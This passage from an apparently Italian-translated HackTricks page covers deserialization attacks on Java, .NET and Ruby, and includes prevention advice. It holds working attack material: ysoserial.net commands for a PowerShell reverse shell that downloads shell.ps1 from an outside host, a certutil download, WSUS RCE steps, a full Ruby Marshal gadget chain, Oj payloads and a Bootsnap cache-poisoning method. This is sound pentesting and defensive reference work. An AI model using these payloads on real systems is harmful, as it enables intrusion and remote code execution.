ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Sfruttare librerie esterne per una sicurezza avanzata: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
- NotSoSerial intercetta i processi di deserialization per prevenire lâesecuzione di codice non attendibile.
- jdeserialize permette lâanalisi di oggetti Java serialized senza deserializzarli, aiutando a identificare contenuti potenzialmente malevoli.
- Kryo è un framework alternativo di serialization che enfatizza velocità ed efficienza, offrendo strategie di serialization configurabili che possono migliorare la sicurezza.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producerâconsumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
There are several products using this middleware to send messages:
.png)
.png)
Sfruttamento
In pratica esistono diversi servizi che usano JMS in modo pericoloso. Pertanto, se si dispone di privilegi sufficienti per inviare messaggi a questi servizi (di solito è necessario avere credenziali valide) si potrebbe essere in grado di inviare oggetti malicious serialized che verranno deserialized dal consumer/subscriber.
Questo significa che in questo tipo di exploit tutti i client che useranno quel messaggio verranno infettati.
Bisogna ricordare che anche se un servizio è vulnerabile (perchĂŠ deserializza in modo insicuro input controllati dallâutente) è comunque necessario trovare gadget validi per sfruttare la vulnerabilitĂ .
Lo strumento JMET è stato creato per connettersi e attaccare questi servizi inviando diversi oggetti malicious serialized usando gadget noti. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget usati è presente nellâapplicazione vulnerabile.
References
-
Patchstack advisory â Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
Fingerprint
WhiteBox
The source code should be inspected for occurrences of:
TypeNameHandlingJavaScriptTypeResolver
The focus should be on serializers that permit the type to be determined by a variable under user control.
BlackBox
The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or XML structures featuring TypeObject or $type.
ysoserial.net
In this case you can use the tool ysoserial.net in order to create the deserialization exploits. Once downloaded the git repository you should compile the tool using Visual Studio for example.
If you want to learn about how does ysoserial.net creates itâs exploit you can check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.
The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.
--gadgetused to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).--formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)--outputused to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesnât mean it will always work).--pluginysoserial.net supports plugins to craft exploits for specific frameworks like ViewState
More ysoserial.net parameters
--minifywill provide a smaller payload (if possible)--raf -f Json.Net -c "anything"This will indicate all the gadgets that can be used with a provided formatter (Json.Netin this case)--sf xmlyou can indicate a gadget (-g)and ysoserial.net will search for formatters containing âxmlâ (case insensitive)
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ha anche un parametro molto interessante che aiuta a capire meglio come funziona ogni exploit: --test
Se indichi questo parametro, ysoserial.net proverĂ lâexploit localmente, cosĂŹ puoi testare se il tuo payload funzionerĂ correttamente.
Questo parametro è utile perchÊ, se esamini il codice, troverai blocchi di codice come il seguente (da ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Ciò significa che, per testare lâexploit, il codice chiamerĂ serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
Nel codice precedente è vulnerabile allâexploit creato. Quindi se trovi qualcosa di simile in unâapplicazione .Net significa che probabilmente anche quellâapplicazione è vulnerabile.
Pertanto il parametro --test ci permette di capire quali porzioni di codice sono vulnerabili al deserialization exploit che ysoserial.net può creare.
ViewState
Dai unâocchiata a questo POST su come provare a sfruttare il parametro __ViewState di .Net per eseguire codice arbitrario. Se conosci giĂ i segreti usati dalla macchina vittima, leggi questo post per sapere come eseguire codice.
Realâworld sink: WSUS AuthorizationCookie & Reporting SOAP â BinaryFormatter/SoapFormatter RCE
- Endpoint interessati:
/SimpleAuthWebService/SimpleAuth.asmxâ GetCookie() AuthorizationCookie decifrata e poi deserializzata con BinaryFormatter./ReportingWebService.asmxâ ReportEventBatch e le relative operazioni SOAP che raggiungono SoapFormatter sinks; il gadget base64 viene elaborato quando la console WSUS acquisisce lâevento.- Causa principale: byte controllati dallâattaccante raggiungono i formatters legacy .NET (BinaryFormatter/SoapFormatter) senza allowâlists/binders restrittivi, quindi le catene di gadget vengono eseguite con lâaccount di servizio WSUS (spesso SYSTEM).
Minimal exploitation (Reporting path):
- Genera un gadget .NET con ysoserial.net (BinaryFormatter o SoapFormatter) e ottieni lâoutput in base64, per esempio:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"
# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
- Creare un SOAP per
ReportEventBatchincorporando il gadget base64 e inviarlo via POST a/ReportingWebService.asmx. - Quando un admin apre la console WSUS, lâevento viene deserializzato e il gadget si attiva (RCE come SYSTEM).
AuthorizationCookie / GetCookie()
- Un AuthorizationCookie falsificato può essere accettato, decifrato e passato a un sink BinaryFormatter, abilitando RCE preâauth se raggiungibile.
Parametri del PoC pubblico (tecxx/CVE-2025-59287-WSUS):
$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"
Vedi Windows Local Privilege Escalation â WSUS
Prevenzione
Per mitigare i rischi associati alla deserializzazione in .Net:
- Evita di permettere ai flussi di dati di definire i tipi degli oggetti. Utilizza
DataContractSerializeroXmlSerializerquando possibile. - Per
JSON.Net, impostaTypeNameHandlingsuNone:TypeNameHandling = TypeNameHandling.None - Evita di usare
JavaScriptSerializercon unJavaScriptTypeResolver. - Limita i tipi che possono essere deserializzati, comprendendo i rischi intrinseci dei tipi .Net, come
System.IO.FileInfo, che può modificare proprietà di file sul server, potenzialmente causando attacchi di denial of service. - Sii cauto con i tipi che hanno proprietà rischiose, come
System.ComponentModel.DataAnnotations.ValidationExceptioncon la sua proprietĂValue, che può essere sfruttata. - Controlla in modo sicuro lâistanza dei tipi per impedire che gli attaccanti influenzino il processo di deserializzazione, rendendo vulnerabili anche
DataContractSerializeroXmlSerializer. - Implementa controlli di lista bianca usando un
SerializationBinderpersonalizzato perBinaryFormattereJSON.Net. - Rimani informato sui gadget di deserializzazione insicuri noti in .Net e assicurati che i deserializzatori non istanzino tali tipi.
- Isola il codice potenzialmente rischioso dal codice con accesso a internet per evitare di esporre gadget noti, come
System.Windows.Data.ObjectDataProvidernelle applicazioni WPF, a fonti di dati non affidabili.
Riferimenti
- Paper su deserializzazione JSON in Java e .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby, la serializzazione è facilitata da due metodi nella libreria marshal. Il primo metodo, noto come dump, viene usato per trasformare un oggetto in uno stream di byte. Questo processo è chiamato serializzazione. Invece, il secondo metodo, load, viene impiegato per riportare uno stream di byte a un oggetto, processo noto come deserializzazione.
Per proteggere gli oggetti serializzati, Ruby utilizza HMAC (Hash-Based Message Authentication Code), garantendo lâintegritĂ e lâautenticitĂ dei dati. La chiave usata a questo scopo è memorizzata in una delle seguenti posizioni:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Catena gadget generica di deserializzazione a RCE per Ruby 2.X (piĂš info in** https://www.elttam.com/blog/ruby-deserialization/**):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Altra catena RCE per sfruttare Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
Come spiegato in this vulnerability report, se un input non sanitizzato da parte di un utente raggiunge il metodo .send() di un oggetto ruby, questo metodo permette di invocare qualsiasi altro metodo dellâoggetto con qualsiasi parametro.
Per esempio, chiamando eval e poi codice ruby come secondo parametro si potrĂ eseguire codice arbitrario:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Inoltre, se solo un parametro di .send() è controllato da un attacker, come menzionato nel writeup precedente, è possibile chiamare qualsiasi metodo dellâoggetto che non richiede argomenti o i cui argomenti hanno valori predefiniti.
Per questo, è possibile enumerare tutti i metodi dellâoggetto per trovare alcuni metodi interessanti che soddisfino questi requisiti.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Controlla come potrebbe essere possibile inquinare una classe Ruby e abusarne qui.
Ruby _json pollution
Quando si inviano nel body alcuni valori non hashable come un array, verranno aggiunti in una nuova chiave chiamata _json. Tuttavia, è possibile per un attaccante impostare nel body un valore chiamato _json con i valori arbitrari che desidera. Quindi, se il backend ad esempio verifica la veridicitĂ di un parametro ma poi utilizza anche il parametro _json per eseguire unâazione, potrebbe essere effettuato un bypass di autorizzazione.
Consulta maggiori informazioni nella pagina Ruby _json pollution.
Altre librerie
Questa tecnica è stata presa da questo post del blog.
Esistono altre librerie Ruby che possono essere usate per serializzare oggetti e che quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che viene chiamato della classe caricata ogni volta che viene deserializzata (la funzione da abusare per ottenere RCE, fondamentalmente):
| Libreria | Dati in input | Metodo di avvio all'interno della classe |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash (la classe deve essere inserita in un hash(map) come chiave) |
| Ox | XML | hash (la classe deve essere inserita in un hash(map) come chiave) |
| Psych (Ruby) | YAML | hash (la classe deve essere inserita in un hash(map) come chiave)init_with |
| JSON (Ruby) | JSON | json_create ([vedi le note riguardanti json_create alla fine](#table-vulnerable-sinks)) |
Esempio base:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Nel caso di tentare di abusare di Oj, è stato possibile trovare una gadget class che, allâinterno della sua funzione hash, chiamerĂ to_s, la quale chiamerĂ spec, la quale chiamerĂ fetch_path, che è stato possibile far usare per recuperare un URL casuale, fornendo un ottimo detector per questo tipo di unsanitized deserialization vulnerabilities.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Inoltre, è stato riscontrato che con la tecnica precedente viene creata anche una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa del tipo:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
La funzionalitĂ di upload file dellâapp Rails permette a un attacker di scrivere file arbitrariamente. Anche se lâapp gira con restrizioni (solo certe directory come tmp sono scrivibili a causa dellâutente non-root di Docker), ciò permette comunque la scrittura nella directory di cache di Bootsnap (tipicamente sotto tmp/cache/bootsnap).
- Understand Bootsnapâs Cache Mechanism
Bootsnap accelera i tempi di boot di Rails memorizzando in cache codice Ruby compilato, file YAML e JSON. Conserva file di cache che includono un cache key header (con campi come Ruby version, file size, mtime, compile options, ecc.) seguito dal codice compilato. Questo header viene usato per validare la cache durante lâavvio dellâapp.
- Gather File Metadata
Lâattacker seleziona prima un file target che è probabile venga caricato durante lo startup di Rails (per esempio set.rb dalla standard library di Ruby). Eseguendo codice Ruby allâinterno del container, estraggono metadata critici (come RUBY_VERSION, RUBY_REVISION, size, mtime e compile_option). Questi dati sono essenziali per creare un cache key valido.
- Compute the Cache File Path
Replicando il meccanismo di hash FNV-1a a 64-bit di Bootsnap, si determina il corretto path del file di cache. Questo passaggio assicura che il file di cache malevolo sia posizionato esattamente dove Bootsnap se lo aspetta (es. sotto tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Lâattacker prepara un payload che:
- Esegue comandi arbitrari (per esempio eseguendo id per mostrare informazioni sul processo).
- Rimuove la cache malevola dopo lâesecuzione per prevenire exploit ricorsivi.
- Carica il file originale (es. set.rb) per evitare che lâapplicazione crashi.
Questo payload viene compilato in codice Ruby binario e concatenato con un cache key header costruito con cura (usando i metadata raccolti precedentemente e il numero di versione corretto per Bootsnap).
- Overwrite and Trigger Execution
Usando lâarbitrary file write vulnerability, lâattacker scrive il file di cache creato nella posizione calcolata. Successivamente, innescano un restart del server (scrivendo su tmp/restart.txt, che è monitorato da Puma). Durante il restart, quando Rails richiede il file target, il file di cache malevolo viene caricato, risultando in remote code execution (RCE).
Ruby Marshal exploitation in practice (updated)
Considera qualsiasi percorso in cui byte non attendibili raggiungono Marshal.load/marshal_load come un sink RCE. Marshal ricostruisce grafi di oggetti arbitrari e attiva callback di librerie/gem durante la materializzazione.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Classi di gadget comuni osservate in catene reali:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - Marcatore tipico di side-effect incorporato nei payloads (eseguito durante lâunmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Dove si manifesta nelle app reali:
- I cache di Rails e gli store di sessione storicamente basati su Marshal
- Backend per background job e object store basati su file
- Qualsiasi persistenza personalizzata o trasporto di blob oggetto binari
Scoperta industriale dei gadget:
- Esegui Grep per constructors,
hash,_load,init_with, o metodi con effetti collaterali invocati durante lâunmarshal - Usa le query CodeQLâs Ruby unsafe deserialization per tracciare sources â sinks e far emergere gadget
- Valida con PoC pubblici multi-formato (JSON/XML/YAML/Marshal)
Riferimenti
- Trail of Bits â Marshal madness: Una breve storia degli exploit di deserializzazione in Ruby: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam â Catena di gadget di deserializzazione Universal RCE per Ruby 2.x: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 â Catena Marshal per Rails 3/4: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (deserializzazione insicura in Rails 5.2): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI â RCE tramite deserializzazione insicura di Ruby on Rails Active Storage: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security â Scoprire catene di gadget in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab â Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab â PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR â Gadget Ruby 3.4: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke â Catena universale Ruby 3.4: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke â Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Rilascio Ruby 3.4.0-rc1: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- PR di fix Ruby #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits â Audit di RubyGems.org (risultati su Marshal): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs â Is This Bad? This Feels Bad â GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
- OffSec â CVE-2025-59287 WSUS unsafe deserialization (blog)
- PoC â tecxx/CVE-2025-59287-WSUS
- RSC Report Lab â CVE-2025-55182 (React 19.2.0)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


